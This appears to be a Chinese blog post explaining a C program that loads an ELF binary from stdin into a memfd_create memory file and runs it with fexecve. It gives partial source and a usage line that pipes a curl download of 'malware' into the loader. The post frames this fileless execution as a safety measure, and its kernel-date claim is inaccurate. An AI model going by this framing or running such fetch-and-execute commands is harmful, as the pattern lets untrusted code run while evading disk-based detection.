当前位置: 首页 > news >正文

从标准输入直接执行 ELF 二进制文件的实用程序解析(C/C++实现)

本文将深入解析一个用C语言编写的实用程序,该程序能够直接从标准输入(stdin)读取ELF二进制文件,并在内存中执行它,无需将文件写入磁盘。我们将从实现原理、核心机制、用途场景和注意事项四个维度展开分析。

一、程序核心功能概述

...
int exit_failure(const char* msg)
{perror(msg);return EXIT_FAILURE;
}int main(int argc, char* argv[])
{
...memfd = (int)syscall(SYS_memfd_create, EE_MEMFD_NAME, 0);if (memfd == -1)return exit_failure("memfd_create");do {nread = read(STDIN_FILENO, buf, EE_CHUNK_SIZE);if (nread == -1)return exit_failure("read");offset = 0;length = (size_t)nread;while (offset < length) {nwrite = write(memfd, buf + offset, length - offset);if (nwrite == -1)return exit_failure("write");offset += (size_t)nwrite;}} while (nread > 0);if (fexecve(memfd, argv, environ) == -1)return exit_failure("fexecve");
...return EXIT_SUCCESS;
}

If you need the complete source code, please add the WeChat number (c17865354792)

该程序的核心目标是:将标准输入流中的ELF二进制数据加载到内存中,并直接执行它。这一过程绕过了传统的“磁盘临时文件”步骤,适用于需要动态传递二进制数据并执行的场景(如脚本管道、安全沙盒等)。

程序的关键步骤包括:

  1. 创建内存文件描述符:使用memfd_create系统调用在内存中创建一个匿名文件。
  2. 从stdin读取数据并写入内存文件:分块读取标准输入的ELF数据,写入内存文件。
  3. 直接执行内存中的ELF:通过fexecve系统调用,基于内存文件描述符启动ELF程序。

二、实现原理详解

内存文件:memfd_create的秘密

传统的文件操作需要将数据写入磁盘临时文件,再通过execve执行,这会带来额外的I/O开销和磁盘污染风险。而memfd_create(Memory File Descriptor Create)是Linux特有的系统调用(2013年随内核3.17引入),用于在内存中创建一个匿名的tmpfs文件。它的核心特点:

  1. 内存存储:文件内容存储在内存中(或交换分区),而非磁盘,读写效率极高。
  2. 匿名性:文件没有磁盘路径,仅通过文件描述符引用,避免敏感数据泄露到磁盘。
  3. 兼容文件接口:完全兼容POSIX文件操作(如read/write/lseek),可像操作普通文件一样操作内存文件。

程序中使用syscall(SYS_memfd_create, EE_MEMFD_NAME, 0)创建内存文件描述符(memfd)。第二个参数是标志位(此处为0,表示无特殊属性),若需要可设置:
MFD_CLOEXEC(子进程不继承描述符)或MFD_ALLOW_SEALING(允许内存密封)。

数据传输:从stdin到内存文件

程序通过循环读取标准输入(STDIN_FILENO)的数据块(大小为EE_CHUNK_SIZE,默认8KB),并将每个块写入内存文件描述符(memfd)。这一过程的关键点:

  1. 分块读取:避免一次性分配大内存,适应任意大小的输入(受限于内存总量)。
  2. 错误处理:每次read或write后检查返回值,若失败则通过perror输出错误信息并退出。
  3. 完整性保证:循环读取直到nread <= 0(EOF或错误),确保所有输入数据都被写入内存文件。
执行内存中的ELF:fexecve的魔力

传统execve需要指定可执行文件的路径(如/bin/ls),但内存中的文件没有磁盘路径。此时fexecve(File Descriptor execve)派上用场:它接受一个文件描述符作为参数,直接从该描述符关联的内存文件中加载并执行ELF程序。

程序最后调用fexecve(memfd, argv, environ),其中:

  1. memfd是内存文件的描述符;
  2. argv是命令行参数(传递给被执行的ELF程序);
  3. environ是环境变量(继承自当前进程)。

成功调用fexecve后,当前进程的代码段、数据段会被替换为ELF程序的内容,控制流跳转到ELF的入口点(_start),原程序后续代码(如return EXIT_SUCCESS)永远不会执行。

三、用途场景分析

该程序适用于需要动态、安全、高效执行内存中ELF文件的场景,典型例子包括:

脚本管道中的二进制传递

在Shell脚本中,可通过管道将二进制数据传递给该程序执行。例如:

生成一个简单的ELF文件(如/bin/echo的二进制数据),通过管道传递给程序执行cat /bin/echo | ./elfexec

无需将/bin/echo写入临时文件,避免了磁盘I/O和临时文件清理的麻烦。

安全沙盒环境

在沙盒或容器中,禁止程序向磁盘写入文件时,可通过管道传递ELF二进制数据,直接在内存中执行。例如:
从网络接收ELF文件(如通过curl),直接执行

curl -s http://example.com/malware | ./elfexec  

即使程序被恶意篡改,数据也不会落地到磁盘,降低泄露风险。

动态代码生成与执行

对于需要动态生成ELF二进制数据的场景(如自定义编译器、代码生成器),可直接将生成的二进制流通过标准输出传递给该程序执行,实现“生成即执行”的无缝衔接。

总结

该程序通过memfd_create和fexecve两个关键系统调用,实现了“标准输入→内存文件→直接执行”的高效流程,避免了磁盘I/O和临时文件的繁琐操作。其核心价值在于内存中处理二进制数据的安全性和效率,适用于需要动态执行ELF文件的场景。

理解其原理后,我们可以扩展更多功能(如设置内存文件权限、添加参数解析、支持压缩输入等),使其更适应复杂的生产环境需求。

Welcome to follow WeChat official account【程序猿编码

http://www.lqws.cn/news/214309.html

相关文章:

  • 【LeetCode】3170. 删除星号以后字典序最小的字符串(贪心 | 优先队列)
  • 电脑悬浮窗便签怎么实现四象限玩法?
  • 黄柏基因组-小檗碱生物合成的趋同进化-文献精读142
  • 1.认识Spring
  • 安卓基础(编译.Class)
  • python的numpy的MKL加速
  • 绘制饼图详细过程
  • 快速上手Linux全局搜索正则表达式(grep)
  • 探秘IBMS系统:能集成哪些建筑子系统实现一体化管理
  • 关于汉语普通话元音音位最好归纳为几个的问题
  • 【Go语言基础【15】】数组:固定长度的连续存储结构
  • 并行硬件环境及并行编程
  • Riverpod与GetX的优缺点对比
  • 26、跳表
  • Day15
  • Gartner《How to Create and Maintain a Knowledge Base forHumans and AI》学习报告
  • pycharm中提示C++ compiler not found -- please install a compiler
  • Gradle 7.0 及以上版本集中管理项目依赖项的版本号、插件版本和库坐标
  • 阿里巴巴ROLL:大规模强化学习优化的高效易用解决方案
  • Java-IO流之序列化与反序列化详解
  • 技巧小结:根据寄存器手册写常用外设的驱动程序
  • 室内电子地图制作核心技术解析:从三维建模到动态 POI 管理
  • C++常用的自动化测试库
  • HBuilderX安装(uni-app和小程序开发)
  • 1-2 Linux-虚拟机(2025.6.7学习篇- win版本)
  • QM系列闪测仪的强大功能解析
  • C++:用 libcurl 发送一封带有附件的邮件
  • LangChain4j 学习教程项目
  • 【C++进阶篇】C++11新特性(下篇)
  • 本地主机部署开源企业云盘Seafile并实现外部访问